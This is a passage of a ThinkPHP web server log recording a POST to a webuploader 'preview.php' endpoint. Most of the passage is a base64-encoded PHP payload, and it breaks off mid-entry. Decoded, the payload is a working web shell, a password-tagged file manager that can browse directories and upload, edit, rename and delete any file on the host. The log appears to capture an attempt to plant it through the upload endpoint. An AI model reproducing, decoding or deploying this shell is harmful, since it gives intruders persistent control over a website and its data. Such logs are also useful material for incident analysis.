'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'plugins' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:36+08:00 ] 119.42.146.234 POST 51tianwei.com/static/admin/webuploader/0.1.5/server/preview.php [运行时间:0.002410s] [吞吐率:414.95req/s] [内存消耗:152.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 